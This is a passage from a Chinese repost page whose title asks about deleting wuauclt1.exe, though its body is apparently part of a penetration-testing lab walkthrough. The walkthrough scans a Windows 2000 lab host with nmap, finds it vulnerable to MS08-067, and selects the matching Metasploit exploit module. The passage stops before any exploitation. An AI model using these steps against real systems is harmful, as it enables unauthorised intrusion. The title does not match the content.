wuauclt1.exe_wuauclt1exe能删除吗_关闭wuauclt.exe(2)

Nmap: 3389/tcp open microsoft-rdp Microsoft Terminal Service

Nmap: MAC Address: 00:0C:29:EA:2C:5D (VMware)

Nmap: Device type: general purpose

Nmap: Running: Microsoft Windows 2000|XP|Me

Nmap: OS details: Microsoft Windows 2000 SP0/SP2/SP4 or Windows XPSP0/SP1, Microsoft Windows 2000 SP1, Microsoft Windows 2000 SP2,Microsoft Windows Millennium Edition (Me)

Nmap: Network Distance: 1 hop

Nmap: Service Info: Host: 2000adsrven.combatlab.com; OS:Windows

Nmap: Host script results:

Nmap: | smb-check-vulns:

Nmap: | MS08-067: VULNERABLE

Nmap: | Conficker: Likely CLEAN

Nmap: | regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' torun)

Nmap: | SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add'--script-args=unsafe=1' to run)

Nmap: | MS06-025: CHECK DISABLED (remove 'safe=1' argument torun)

Nmap: |_ MS07-029: CHECK DISABLED (remove 'safe=1' argument torun)

Nmap: OS and Service detection performed. Please report anyincorrect results at .

Nmap: Nmap done: 1 IP address (1 host up) scanned in 52.73seconds

使用db_nmap命令，可以看到192.168.200.140的操作系统和可能存在的漏洞，其中包括此次实验的MS08-067.

#########################开始入侵###########################

查询并查看有关MS08_067的漏洞信息

msf > search ms08_067

Matching Modules

================

Name Disclosure Date Rank Description

—- ————— —- ———–

exploit/windows/smb/ms08_067_netapi 2008-10-28 great MicrosoftServer Service Relative Path Stack Corruption

msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > info

Name: Microsoft Server Service Relative Path Stack Corruption

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-28348-2.html